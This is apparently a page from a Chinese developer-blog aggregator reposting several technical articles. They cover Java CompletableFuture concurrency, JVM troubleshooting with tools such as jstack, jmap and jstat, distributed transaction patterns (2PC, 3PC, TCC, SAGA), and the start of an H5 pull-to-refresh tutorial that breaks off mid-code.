private DayReport handleException(Throwable e, String day) {
// 打印异常信息,便于排查问题
log.error("day: {}的任务执行异常:{}", day, e);
// 返回异常标记的结果,便于后续判断任务是否出现异常,终止后续的业务流程
return new DayReport(day, true);
}


/**
* 并发生成报告,汇总批量保存DB
*/
@Test
public void testCompletableFuture() {
long start = System.currentTimeMillis();
// 模拟每天的数据
List<String> days = new ArrayList<>();
days.add("2024-03-01");
days.add("2024-03-02");
days.add("2024-03-03");

List<CompletableFuture<DayReport>> futures = new ArrayList<>();
// 循环每天的数据,使用CompletableFuture实现并发生成每天报告
for(String day: days) {
CompletableFuture<DayReport> future = CompletableFuture
// 提交生成报告任务到指定线程池,异步执行
.supplyAsync(() -> generateDayReportTask(day), summaryReportTask)
// 任务执行异常时,处理异常
.exceptionally(e -> handleException(e, day));
// future对象添加到集合中
futures.add(future);

}

try {
// allOf方法等待所有任务执行完毕,最好设置超时时间以免长时间阻塞主线程
CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).get(20, TimeUnit.SECONDS);
} catch (Exception e) {
log.error(" CompletableFuture.allOf异常: {}", e);
// 出现异常,终止后续逻辑
return;
}
// 循环获取任务执行返回的结果(即生成的每日报告)
List<DayReport> reportList = new ArrayList<>();
for (CompletableFuture<DayReport> future : futures) {
DayReport result;
try {
result = future.get();
} catch (Exception e) {
log.error("future.get出现异常:{}", e);
// 任何一个任务执行异常,则直接return,中断后续业务流程,防止产生的汇总报告不完整
return;
}
// 每日报告汇总
if(null != result && !result.getEx()) { // 判断任务执行没有出现异常
reportList.add(result);
} else {
log.error("result为null或者任务执行出现异常");
// 任何一个任务执行异常,则直接return,中断后续业务流程,防止产生的汇总报告不完整
return;
}
}

// 汇总的报告list,批量保存到DB,提高写入的性能
insertBatch(reportList);
long execTime = System.currentTimeMillis() - start;
log.info("执行耗时:{} ms", execTime);
}

void insertBatch(List<DayReport> reportList) {
log.info("报告批量保存reportList:{}", JSON.toJSONString(reportList));
}

线程池配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
java复制代码@Configuration
@Slf4j
public class ExecutorConfig {


/**
* 处理每日汇总报告线程池
* @return
*/
@Bean("SummaryReportTask")
public ThreadPoolExecutor summaryReportTaskExecutor() {
int corePoolSize = cpuCores();
int maxPoolSize = corePoolSize * 2;
ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(
corePoolSize,
maxPoolSize,
60L, TimeUnit.SECONDS,
new LinkedBlockingQueue<Runnable>(800),
// 自定义线程池名称,便于排查问题
new CustomizableThreadFactory("summaryReportTaskExecutor"),
// 超过最大线程数,拒绝任务并抛出异常
new ThreadPoolExecutor.AbortPolicy());
return threadPoolExecutor;
}

private int cpuCores() {
return Runtime.getRuntime().availableProcessors();
}
}

主要流程:

  1. 循环每天数据,提交生成报告任务到线程池,并发执行生成每日报告
  2. 任务发生异常处理,主要是打印异常信息,标记结果
  3. CompletableFuture.allOf方法等待所有任务执行完毕
  4. 获取任务执行结果,进行每日报告汇总为list
  5. 最后汇总的list批量保存DB

耗时:331ms,比串行处理节省一半的时间。

image.png

最后需要注意的点:

  1. CompletableFuture需要配置自定义线程池使用,可以做到不同业务线的线程池隔离,避免相互影响
  2. 任务的异常处理打印必要的异常日志便于排查问题
  3. 每个任务出现异常时,记得中断后续逻辑,避免汇总的数据出现不完整

3 总结

本章主要介绍了CompletableFuture使用的一类场景:实现并发处理任务 && 等待多个并发任务完成,并汇总各个任务返回的结果 && 批量保存。有类似这种业务场景的可以使用CompletableFuture来实现,以此提高运行效率。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

面试官:线上崩了,说说你是怎么排查线上问题的? 前言 问题定

发表于 2024-03-01

前言

Hi 你好,我是东东拿铁,一个正在探索个人IP&副业的后端程序员。

不知道你在多年的开发经验中,你的线上服务,有没有遇到过一下情况呢?

  • 系统响应时间突增,CPU使用率明显上升
  • 系统偶尔卡顿,大部分时间正常,但是过几个小时就会卡顿,影响正常请求
  • 系统假死,服务还在运行,但是无法响应请求
  • 内存占满,OOM异常

所有 Java 服务的线上问题从系统表象来看归结起来总共有四方面:CPU、内存、磁盘、网络。例如 CPU 使用率峰值突然飚高、内存溢出 (泄露)、磁盘满了、网络流量异常、FullGC等等问题。

所以,本文从以下四个角度,去分析如何排查线上问题,如果你也遇见过上面的这些问题,却无从下手相信你看完这篇文章,能够掌握线上问题的排查思路与工具方法,方便你遇到线上问题时,心中有数,不慌不忙,赶紧mark起来吧。

  1. CPU,CPU使用率飙升,如何定位
  2. 内存,内存溢出、垃圾回收的问题排查思路与工具
  3. IO,IO异常时,如何定位
  4. 网络,网络卡顿,网络不通的排查思路

先说结论,大部分工程师也许没有全面的性能问题诊断机会,解决线上问题,也没有所谓的银弹。多实践,多学习底层原理,才能让你拥有更丰富的经验。

使用到的工具

系统Mac OS 14.3

Jprofiler 14.0版本

问题定位

CPU

CPU 是系统重要的监控指标,能够分析系统的整体运行状况。监控指标一般包括运行队列、CPU 使用率和上下文切换等。

image.png

top 命令显示了各个进程 CPU 使用情况 , 一般 CPU 使用率从高到低排序展示输出。其中 Load Average 显示最近 1 分钟、5 分钟和 15 分钟的系统平均负载,上图各值为0.11,0.08,0.05

我们一般会关注 CPU 使用率最高的进程,正常情况下就是我们的应用主进程。第七行以下:各进程的状态监控。

关于线上的CPU问题,常见的问题有以下三种

  • CPU突然飙升
  • CPU使用居高不下
  • cpu占用高

往往都是业务逻辑问题导致的,比如死循环、频繁gc或者上下文切换过多。

线上问题排查,为了能够保持现场情况,一般我们直接登陆机器,使用命令行进行排查。

当然,为了方便你更好的理解,我也提供了一个简单的示例代码,如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
java复制代码
public class CpuTests {

public static void busyThread(){

Thread thread = new Thread(() -> {
while (true){
}

},"*busyThread");
thread.start();
}

public static void lockThread(Object lock){

Thread thread = new Thread(() -> {
synchronized (lock){
try {
lock.wait();
}catch (InterruptedException e){
e.printStackTrace();
}

}

},"lockThread");
thread.start();

}

public static void main(String[] args) throws IOException {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in));
bufferedReader.readLine();
busyThread();
bufferedReader.readLine();
lockThread(new Object());
}
}

命令行排查

我们使用top -H -p pid

来找到cpu使用率比较高的一些线程

image.png

占用率最高的线程 ID 为 1586480,将其转换为 16 进制形式 (因为 java native 线程以 16 进制形式输出)

printf '%x\n' 1586480

pid得到nid

接着直接在jstack中找到相应的堆栈信息

jstack pid |grep 'nid' -C5

注:因为我本地环境是Mac Os,且我们上面的例子比较简单,我们直接使用jstack 也可以看到线程情况

image.png

可视化工具

当然,也可以使用工具,直接可视化的查看线程情况

通过Jprofiler的cpu负载,我们可以看到cpu负载一直巨高不下,如果排除了流量上涨的可能性,那就需要排查代码存在的问题。

image.png

小结

当然,CPU问题,远远不是我上文例子这么简单,我们也仅仅介绍了最初级的问题排查思路。

也有许多的工具,适合不同场景下的问题排查思路,比如:

  1. vmstat,是一款指定采样周期和次数的功能性监测工具,我们可以看到,它不仅可以统计内存的使用情况,还可以观测到 CPU 的使用率、swap 的使用情况。但vmstat一般很少用来查看内存的使用情况,而是经常被用来观察进程的上下文切换。
  2. pidstat,之前的 top 和 vmstat 两个命令都是监测进程的内存、CPU 以及I/O使用情况,而pidstat命令则是深入到线程级别。

多种工具结合,逐步缩小问题范围,才是真正解决问题的处理方法,当然,更多的工具留给你自己去做尝试了。

内存调优

线上内存,常见的有下面三类问题

  1. 内存溢出
  2. 内存泄漏
  3. 垃圾回收导致的服务卡顿

新生代 ( Young ) 与老年代 ( Old ) 的比例的值为 1:2 ( 该值可以通过参数 –XX:NewRatio 来指定 )

内存溢出

什么是内存溢出

当程序需要申请内存的时候,由于没有足够的内存,此时就会抛出OutOfMemoryError,这就是内存溢出。

下面我们来看一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
csharp复制代码
public class OomTests {

static class OOMObject{
public byte[] empty = new byte[64*1024];
}

public static void add(int num) throws InterruptedException {

List<OOMObject> list = new ArrayList<>();

for (int i =0;i<num;i++){
Thread.sleep(500);
System.out.println(i);
list.add(new OOMObject());
}
}

public static void main(String[] args) throws InterruptedException {
add(1000);
}
}

如下图可以看到,内存使用量持续飙升,超出最大堆容量后,出现OOM。

image.png

f3819f36c007639a46c3e055baf544c1.png转存失败,建议直接上传图片文件

image.png
当然,上面只是本地的一个测试demo,方便演示工具如何使用。

线上OOM问题排查,我们有两种方式

  1. 使用jmap命令生成dump文件

jmap -dump:live,format=b,file=heap.hprof <pid>

  1. JVM启动参数增加参数,当应用抛出OutOfMemoryError 时自动生成dump文件

-XX:+HeapDumpOnOutOfMemoryError

通过Jprofiler,打开dump文件

image.png
选择最大对象,即可看到dump文件中最大的对象,也可以看到具体的引用情况。

image.png

内存泄漏

内存泄漏指程序运行过程中分配内存给临时变量,用完之后却没有被GC回收,始终占着内存,即不能使用也不能分配给其他程序,就叫做内存泄漏(也就是相当于占着内存却不能被管理到造成内存的浪费)

内存泄漏短期内或者说轻微的不会有太大的影响,但内存泄漏堆积起来后却会很严重,会一直占用掉可用的内存,从而出现内存溢出的现象。

常见问题

  1. 可以复用的对象,每次都new,但也不会回收,比如客户端连接
  2. 文件流操作,但是没有正常关闭

排查思路可以参照上面内存溢出的情况,排查大对象即可。

G1垃圾回收器

G1(Garbage-First)是在JDK 7u4版本之后发布的垃圾收集器,并在jdk9中成为默认垃圾收集器。通过“-XX:+UseG1GC”启动参数即可指定使用G1 GC。从整体来说,G1也是利用多CPU来缩短stop the world时间,并且是高效的并发垃圾收集器。

关于垃圾回收,常见问题主要有两点

  1. 时间过长,垃圾回收存在STW,时间过长则会导致影响请求
  2. Full GC次数过多

我们的调优目标,自然也是围绕这两个来

  1. 更快响应速度
  2. 更高的吞吐量

排查垃圾回收问题,启动服务时一定要加上如下四个参数

1
2
3
4
ruby复制代码-XX:+PrintGCTimeStamps :打印 GC 具体时间;
-XX:+PrintGCDetails :打印出 GC 详细日志;
-Xloggc:/log/heapTest.log GC日志路径
-XX:+UseG1GC 使用G1垃圾回收器

根据gc日志,分析系统运行情况,主要关注以下三个问题

  • 系统每秒请求数、每个请求创建多少对象,占用多少内存
  • Young GC触发频率、对象进入老年代的速率
  • 老年代占用内存、Full GC触发频率、Full GC触发的原因、长时间Full GC的原因

主要工具jstat,如下命令就是监控gc情况,每秒采样一次,采样10次

jstat -gc 44017 1000 10

为了方便大家看到区别,我手动出发了一次full gc,大家也可以明显看到,FGC从0变为了1。

image.png

S0C/S1C、S0U/S1U、EC/EU、OC/OU、MC/MU分别代表两个Survivor区、Eden区、老年代、元数据区的容量和使用量。YGC/YGT、FGC/FGCT、GCT则代表YoungGc、FullGc的耗时和次数以及总耗时。如果看到gc比较频繁,再针对gc方面做进一步分析。

磁盘&IO

笔者主要做的都是web服务,几乎不涉及到读写文件,最多也就是日志打印会设计到io,但是这块由于框架优化,几乎没有太多的性能损耗,个人也没排查过io相关的问题,在这里仅作一个命令的介绍。

如果你有线上IO问题排查经验,也欢迎评论区与大家交流

df -lh 查看磁盘使用情况

image.png

iostat 查看磁盘io

网络

查看TCP连接情况

常见问题

tcp队列溢出

netstat -s |egrep "listen|LISTEN"

image.png
overflowed标识全连接队列溢出的次数,最前面是0,标识没有队列溢出的情况,网络环境正常。

网络是否连通

常见问题

  • rpc服务连接不上
  • 数据库、Redis中间件连接不上

使用telnet ip/域名 端口号 来查看网络是否连接

如果出现下图内容,则证明网络已经连接

image.png

说在最后

关于本文给出的例子,你一定要实践一遍,都非常的简单,亲自去使用文中提到的工具,只有实践了,你才是真正入门了。

在一些比较简单的业务场景下,排查系统性能问题相对来说简单,且容易找到具体原因。但在一些复杂的业务场景下,比如开源框架下的源码问题,相对来说就很难排查了,有时候通过工具只能猜测到可能是某些地方出现了问题,而实际排查则要结合源码做具体分析。

线上问题排查可以说没有捷径,排查线上的性能问题本身就不是一件很简单的事情,除了将今天介绍的这些工具融会贯通,还需要我们不断地去累积经验,才能够快速成长。

不知道你在工作中,有没有线上问题排查的经历呢,或者还有没有其他的坑想与别人分享呢?欢迎你在评论区与我交流。希望本文能够为您工作中提供一些参考和帮助,看到这里,希望点赞评论支持一下,也欢迎你加我的wx:Ldhrlhy10,一起交流~

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

一文搞定常见分布式事务实现

发表于 2024-03-01

前言

在一文带你理解什么是分布式事务 - 掘金中我们介绍了什么是分布式事务,这篇文章会深入介绍市面上常见的分布式事务实现方案,并探讨它们的优缺点,以及可能会产生的问题。

分布式事务的关键点

● 创建事务一定要一个唯一主键,一般是事务ID,然后基于这个事务ID,关联一些事务信息的存储和各个子任务

● 需要一个协调者来负责跟踪推进完整个事务,然后各参与者需要遵从一定的规范约束,基于事务ID,以幂等、对账能力为基础,实现相应的API

● 一致性要求高的场景,会有对资源做锁定或预留的做法,最终一致性要求的场景,则只需要符合预期即可。基于对资源要求的不同,会有一些常见的解决方案,例如多阶段协商提交、TCC、事务消息等

分布式事务常见解决方案

强一致性的几种方案

XA分布式事务协议(2PC)

XA分布式事务协议,大概分为两部分:事务管理器和本地资源管理器。

其中本地资源管理器往往由数据库实现,比如Oracle、DB2都实现了XA接口,而事务管理器作为全局的调度者,负责各个本地资源的提交和回滚。

在分布式事务中,涉及到多个独立的资源管理器和一个事务管理器,XA协议允许事务管理器协调多个资源管理器,以确保分布式事务的一致性和原子性

XA的基本原理是把分布式事务分解成两阶段提交的过程

● 第一阶段(Prepare阶段):事务管理器向所有的资源管理器发送Prepare请求,并等待它们的响应。资源管理器接收到Prepare请求之后,会检查是否能够执行该事务,并返回响应的准备状态。如果所有的资源管理器都返回正确响应,那么进入到第二阶段

● 第二阶段(Commit):事务管理器向所有的资源管理器发送Commit请求,并等待它们的响应。资源管理器接收到对应的Commit请求之后,会根据之前的准备状态执行事务的提交操作,并返回相应的提交状态。如果所有的资源管理器你都返回提交状态,那么分布式事务就被提交成功。

在这个过程中出错了怎么办?

我们可以探讨以下几种情况

  1. 第一阶段某资源管理器出错:该资源无法响应事务管理器的Prepare请求,事务管理器会在一段时间之后重发请求,如果在达到最大重试次数之后仍然无法正确响应,那么事务管理器会把该资源管理器标记为失败,进而终止整个事务
  2. 第二阶段某资源管理器出错:该资源无法响应事务管理器的Commit请求,事务管理器会在一段时间之后重发请求,如果在达到最大重试次数之后仍然无法正确响应,那么事务管理器会把该资源管理器标记为失败,会向其他所有的资源管理器发送Rollback请求进行数据回滚,保障数据的一致性
  3. 事务管理器出错:一般事务管理器是整个XA分布式事务策略的性能瓶颈,一旦出错,可能会导致整个分布式事务的终止;我们一般会采用备份和冗余的方式来保持事务管理器的高可用性,如果事务管理器出现故障,可以由备份的事务管理器接管工作

XA的优点是简单易用,应用广泛。缺点主要还是在性能上,可能有单点故障,而且需要阻塞所有的资源管理器。也有一定的可能造成数据不一致,即第二阶段完成之后,因为网络原因只有一部分参与者进行了commit操作

3PC三阶段提交

3PC:Three-phase Commit Protocol 是在2PC之上的扩展的提交协议,主要是为了解决两阶段提交协议的阻塞问题,从原来的两个阶段拓展为三个阶段,增加了超时机制。相比于2PC更加健壮和高效

3PC包含三个阶段:

● 准备阶段(CanCommit Phase):在准备阶段,事务管理器会向所有参与者发送CanCommit请求,询问它们是否可以进行事务提交。参与者在收到请求后,根据自身状态会做出对应的响应,可以是Yes/No

● 预提交阶段(PreCommit Phase):在预提交阶段,事务管理器根据收集到的所有参与者的响应来决定是否可以进行事务的预提交。当所有参与者都回送了Yes,那么此时协调者会向所有的参与者发送PreCommit请求以进行事务的预提交;参与者收到请求后会执行事务的预提交操作,并且将预提交状态返回给协调者

● 提交阶段(DoCommit Phase):在提交阶段,协调者根据收集到的所有参与者的预提交状态来决定是否最终提交事务。如果都为成功,协调者会向所有参与者发送DoCommit请求,表示最终提交事务;如果有任何参与者预提交状态为失败,那么则会发送DoAbort请求,表示事务终止

3PC较于2PC的优点在于引入了预提交阶段,以及在提交阶段引入了DoAbort请求。这样就可以在准备阶段就能知道是否有参与者不同意提交,避免了2PC中某个参与者失败导致的全阻塞问题,减少阻塞时间,提高分布式事务的效率和可用性

DTS方案

阿里有一个分布式事务框架DTS,用来保障在大规模分布式环境下事务的最终一致性。DTS从架构上分为xts-client和xts-server两部分,前者是一个签入客户端应用的JAR包,主要负责事务数据的写入和处理;后者是一个独立的系统,主要负责异常事务的恢复

最终一致性

TCC分段提交

实现分布式事务,最常用的方法就是二阶段提交协议和TCC,这两个算法的使用场景是不一样的,二阶段提交协议实现的是数据层面的事务,比如XA规范采用的就是二阶段提交;TCC实现的是业务层面的事务,比如当操作不仅仅是数据库操作,还涉及其他业务系统的访问操作时,就该考虑TCC了

TCC是一个分布式事务的处理模型,将事务拆解成Try Confirm Cancel三个步骤,在保证强一致性的同时,最大限度提高了系统的可伸缩性和可用性,又称为补偿事务。它的核心思想是针对每个操作都要注册一个与其对应的确认操作和补偿操作

确认操作和补偿操作必须是幂等的,因为这两个操作可能会失败重试。TCC不依赖于数据库的事务,而是在业务中实现了分布式事务,这样能减轻数据库的压力,一个业务操作需要实现Try、Confrim和Cancel的三个方法,对业务代码的侵入性也更强,实现的复杂度也越高。

本质上是一种乐观锁的方式进行的分布式事务实现,通过三个阶段的操作来确保分布式事务的一致性,而不像2PC那样使用阻塞的方式来实现

TCC的三个阶段分别是

● Try:在Try阶段,协调者尝试预留所有参与者需要的资源,相当于一种试探机制,事务发起者会检查所有参与者的资源是否可用,并进行资源的预留。如果资源都可用,协调者会执行正常的业务操作,但并不提交事务

● Confirm:在Confirm阶段,协调者会向所有的参与者发出确认请求,要求提交事务。各个参与者会真正执行之前预留的业务操作,并将操作结果提交

● Cancel:如果任何一个参与者在Confirm阶段失败,或者在指定时间内没有收到Confirm请求,协调者会向所有参与者发出Cancel请求,参与者进行事务的回滚操作,取消之前的预留操作

与2PC的区别

  1. 阻塞与非阻塞:2PC是阻塞的,在准备阶段和提交阶段都可能阻塞;TCC是非阻塞的,在预留资源字段并不提交事务,只有所有资源都预留成功后才提交确认,这样能够提高事务执行效率
  2. 使用场景:基于乐观锁的TCC更适合业务的一致性,2PC更适合保证数据的一致性;且TCC的可用性要高于2PC

MQ实现分布式事务

MQ方案也称为非事务消息,这种方式比较常见,一个是由于市面上很多这种成熟的非事务消息的解决方案,一个是由于这些MQ的性能和吞吐量都比较好,可以满足大部分的业务场景

一个典型的流程如下就是:生产者先执行本地事务并将消息落库,状态标记为待发送,然后发送消息。如果发送成功,则将消息改为发送成功;如果发送失败则不修改标记

然后会起一个定时任务,定是从数据库捞取在一定时间内待发送的消息并将消息发送。为确保消息一定能消费,消费者一般采用手动ACK机制,并且最好需要支持幂等

在消费者端可能面临的问题是

1.消费者消费到消息之后,消费者要保证对应的业务操作要执行成功之后才能主动ACK。如果业务执行失败,消息不能失效或者丢失,这个可以用消息队列的持久化机制+备份的思想进行解决

2.消费者消费消息要能够在业务层面保持幂等,因为消费可能会失败,因此只有具有幂等性才能不影响业务,具体的方案可以采用唯一主键来解决

SAGA长流程分布式事务

SAGA用于处理有序的一长串的长流程的事务,相对来说,性能更好,没有资源锁定,无流程阻塞,但是不保证事务间的隔离性和原子性,需要业务侧根据需要处理可能的问题

image.png

SAGA的每个子事务都有一个补偿的接口,如果执行到某个阶段失败之后,则对已经成功的子事务按照栈顺序一次进行补偿操作。采用的就是将一个分布式事务拆成多个小的本地事务的思想,来保证分布式系统中的数据一致性。每个步骤都是一个本地事务,每个本地事务都是幂等的,即使在失败和重试的情况下,也不会产生额外的影响

image.png
Saga模式通常由以下几个步骤组成

● 发起者:事务发起者,负责启动和协调整个Saga事务的执行

● 局部事务:一个小的事务,每个局部事务对应一个本地操作或者服务

● 补偿:每个局部事务都有一个对应的补偿操作,用于回滚或者撤销之前的操作,如果一个局部事务失败,Saga将执行补偿操作来回滚已经执行的操作

● 协调器:负责控制整个Saga事务的执行流程,包括局部事务的提交和回滚

Saga分布式事务的优缺点

可靠性较强,而且将一个大的事务分成多个本地小事务,更加灵活;同时,Saga需要设计每个本地事务的逻辑和对应的回退操作,更加复杂,也需要精确的定义每个步骤的执行顺序,增加系统的复杂性

结语

本文介绍了强一致性与最终一致性实现分布式事务的几种方案,其中最为推荐的是SAGA长流程实现。

创作不易,如果有收获欢迎点赞、评论、收藏,您的支持就是我最大的动力。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

H5 下拉刷新如何实现 H5 下拉刷新如何实现

发表于 2024-03-01

H5 下拉刷新如何实现

最近我需要做一个下拉刷新的功能,实现功能后我发现,它需要处理的情况还蛮多,于是我整理了这篇文章。

下图是我实现的效果,分为三步:开始下拉时,屏幕顶部会出现加载动画;加载过程中,屏幕顶部高度保持不变;加载完成后,加载动画隐藏。

pull-down.gif

首先我会讲解下拉的原理、根据原理写出初始代码;然后我会说明代码存在的缺陷、解决缺陷并做些额外优化;最后我会给出完整代码,并做一个总结。

拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的前端武学。

下拉的原理

prinple.png

如图所示,蓝色框代表视口,绿色框代表容器,橙色框代表加载动画。最开始时,加载动画处于视口外;开始下拉之后,容器向下移动,加载动画从上方进入视口;结束下拉后,容器又开始向上移动,加载动画也从上方退出视口。

下拉基础代码

知道原理,我们现在开始写实现代码,首先是布局的代码:

布局代码

我们把 box 元素当作容器,把 loader-box,loader-box + loading 元素当作动画,至于 h1 元素不需要关注,我们只把它当作操作提示。

1
2
3
4
5
6
html复制代码<div id="box">
<div class="loader-box">
<div id="loading"></div>
</div>
<h1>下拉刷新 ↓</h1>
</div>

loader-box 的高度是 80px,按上一节原理中的分析,初始时我们需要让 loader-box 位于视口上方,因此 CSS 代码中我们需要把它的位置向上移动 80px。

1
2
3
4
5
css复制代码.loader-box {
position: relative;
top: -80px;
height: 80px;
}

loader-box 中的 loader 是纯 CSS 的加载动画。我们利用 border 画出的一个圆形边框,左、上、右边框是浅灰色,下边框是深灰色:

loader.png

1
2
3
4
5
6
7
8
css复制代码#loader {
width: 25px;
height: 25px;
border: 3px solid #ddd;
border-radius: 50%;
border-bottom: 3px solid #717171;
transform: rotate(0deg);
}

开始刷新时,我们给 loader 元素增加一个动画,让它从 0 度到 360 度无限旋转,就实现了加载动画:

loading.gif

1
2
3
4
5
6
7
8
css复制代码#loader.loading {
animation: loading 1s linear infinite;
}

@keyframes loading {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}

逻辑代码

看完布局代码,我们再看逻辑代码。逻辑代码中,我们要监听用户的手指滑动、实现下拉手势。我们需要用到三个事件:

  • touchstart 代表触摸开始;
  • touchmove 代表触摸移动;
  • touchend 代表触摸结束。

从 touchstart 和 touchmove 事件中我们可以获取手指的坐标,比如 event.touches[0].clientX 是手指相对视口左边缘的 X 坐标,event.touches[0].clientY 是手指相对视口上边缘的 Y 坐标;从 touchend 事件中我们则无法获得 clientX 和 clientY。

我们可以先记录用户手指 touchstart 的 clientY 作为开始坐标,记录用户最后一次触发 touchmove 的 clientY 作为结束坐标,二者相减就得到手指移动的距离 distanceY。

设置手指移动多少距离,容器就移动多少距离,就得到了我们的逻辑代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
js复制代码const box = document.getElementById('box')
const loader = document.getElementById('loader')
let startY = 0, endY = 0, distanceY = 0

function start(e) {
startY = e.touches[0].clientY
}

function move(e) {
endY = e.touches[0].clientY
distanceY = endY - startY
box.style = `
transform: translateY(${distanceY}px);
transition: all 0.3s linear;
`
}

function end() {
setTimeout(() => {
box.style = `
transform: translateY(0);
transition: all 0.3s linear;
`
loader.className = 'loading'
}, 1000)
}

box.addEventListener('touchstart', start)
box.addEventListener('touchmove', move)
box.addEventListener('touchend', end)

逻辑代码实现一个简陋的下拉效果,当然现在还有很多缺陷。

pull-down-basic.gif

简陋下拉效果的 6 个缺陷

之前我们实现了简陋的下拉效果,它还需要解决 6 个缺陷,才能算一个完善的功能。

没有最小、最大距离限制

第一个缺陷是,下拉没有做最小、最大距离的限制。

通常来说,我们下拉屏幕时,距离太小应该不能触发刷新,距离太大也不行,下滑到一定距离后,就应该无法继续下滑。

因此我们可以给下拉设置最小距离限制 DISTANCE_Y_MIN_LIMIT、最大距离限制 DISTANCE_Y_MAX_LIMIT。如果 touchend 中发现下拉距离小于最小距离,直接不触发加载;如果 touchmove 中下拉距离超过最大距离,页面只向下移动最大距离。

解决缺陷关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
js复制代码const DISTANCE_Y_MAX_LIMIT = 150
DISTANCE_Y_MIN_LIMIT = 80

function move(e) {
endY = e.touches[0].clientY
distanceY = endY - startY
if (distanceY > DISTANCE_Y_LIMIT) {
distanceY = DISTANCE_Y_LIMIT
}
box.style = `
transform: translateY(${distanceY}px);
transition: all 0.3s linear;
`
}

function end() {
if (distanceY < DISTANCE_Y_MIN_LIMIT) {
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`
return
}
...
}

加载动画没有停留在视口顶部

第二个缺陷是,下拉没有让加载动画停留在视口顶部。

我们可以把 end 函数加以改造,在数据还没有加载完成时(用 setTimeout 模拟的),让加载动画 style 的 translateY 一直是 80px,translateY(80px) 可以和 初始 CSS 的 top: -80px; 相互抵消,让动画在未刷新完成前停留在视口顶部。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
js复制代码function end() {
...
box.style = `
transform: translateY(80px);
transition: all 0.3s linear;
`
loader.className = 'loading'
setTimeout(() => {
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`
loader.className = ''
}, 1000)
}

重复触发

第三个缺陷是,下拉可以重复触发。

正常来说,如果我们已经下拉过,数据正在加载中时,我们不能继续下拉。

我们可以增加一个加载锁 loadLock。当加载锁开启时,start,move 和 end 事件都不会触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
js复制代码let loadLock = false

function start(e) {
if (loadLock) { return }
...
}

function move(e) {
if (loadLock) { return }
...
}

function end(e) {
if (loadLock) { return }
...
setTimeout(() => {
...
loadLock = true
...
}, 1000)
}

没有限制方向

第四个缺陷是,没有限制方向。

目前我们的代码,用户上拉也能触发。我们可以增加判断,当 endY - startY 小于 0 时,阻止 touchmove 和 touchend 的逻辑。

1
2
3
4
5
6
7
8
9
10
js复制代码function move(e) {
...
if (endY - startY < 0) { return }
...
}

function end() {
if (endY - startY < 0) { return }
...
}

你可能会疑惑,为什么我宁愿写多个判断拦截,也不取消监听事件。这是因为一旦取消监听事件,我们需要考虑在一个合适的时间重新监听,这会把问题变得更复杂。

没有阻止原生滚动

第五个缺陷时,我们在加载数据时没有阻止原生滚动。

虽然我们已经阻止了重复下拉,touchmove 和 touchend 事件被拦截了,但是 H5 原生滚动还能用。

我们可以在刷新时给 body 设置一个 overflow: hidden; 属性,刷新结束后清除 overflow: hidden,这样就可以阻止原生滚动。

1
2
3
css复制代码body.overflowHidden {
overflow: hidden;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
js复制代码const body = document.body
function end() {
...
box.style = `
transform: translateY(80px);
transition: all 0.3s linear;
`
loader.className = 'loading'
body.className = 'overflowHidden'
setTimeout(() => {
...
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`
loader.className = ''
body.className = ''
}, 1000)
}

没有阻止 iOS 橡皮筋效果

第 6 个缺陷是,没有阻止 iOS 的橡皮筋效果。

iOS 浏览器默认滑动时有一个橡皮筋效果,我们需要阻止它,避免影响我们的下拉手势。阻止方式就是给监听器设置 passive: false。

1
2
3
4
5
6
7
js复制代码function addTouchEvent() {
box.addEventListener('touchstart', start, { passive: false })
box.addEventListener('touchmove', move, { passive: false })
box.addEventListener('touchend', end, { passive: false })
}

addTouchEvent()

解决完 6 个缺陷后,我们已经得到无缺陷的下拉刷新功能,但离丝滑的下拉刷新还有一段距离。我们还可以做一些优化,让下拉刷新更完善。

优化

我们可以做两个优化,第一个优化是添加阻尼效果:

增加阻尼效果

所谓阻尼效果,就是下拉过程我们可以感受到一股阻力的存在,虽然我们下拉力度是一样的,但距离的增加速度变慢了。用物理术语表示的话,就是加速度变小了。

体现到代码上,我们可以设置一个百分比,百分比会随着下拉距离增加而减少,把百分比乘以距离当作最后的距离。

代码中百分比 percent 设为 (100 - distanceY * 0.5) / 100,当 distanceY 越来越大时,百分比 percent 越来越小,最后再把 distanceY * percent 赋值给 distanceY。

1
2
3
4
5
6
7
8
9
10
11
js复制代码function move(e) {
...
distanceY = endY - startY
let percent = (100 - distanceY * 0.5) / 100
percent = Math.max(0.5, percent)
distanceY = distanceY * percent
if (distanceY > DISTANCE_Y_MAX_LIMIT) {
distanceY = DISTANCE_Y_MAX_LIMIT
}
...
}

利用角度判断用户下拉意图

第二个优化是利用角度判断用户下拉意图。

下图展示了两种用户下拉的情况,β 角度比 α 角度小,角度越小用户下拉意图越明显、误触的可能性更小。

intension.png

我们可以利用反三角函数求出角度来判断下拉意图。

JavaScript 中,反正切函数是 Math.atan(),需要注意的是,反正切函数算出的是弧度,我们还需要将它乘以 180 / π 才能获取角度。

下面的代码中,我们做了一个限制,只有角度小于 40 时,我们才认为用户的真实意图是想要下拉刷新。

1
2
3
4
5
6
7
8
9
10
11
12
13
js复制代码const DEG_LIMIT = 40
function move(e) {
...
distanceY = endY - startY
distanceX = endX - startX
const deg = Math.atan(Math.abs(distanceX) / distanceY)
* (180 / Math.PI)
if (deg > DEG_LIMIT) {
[startY, startX] = [endY, endX]
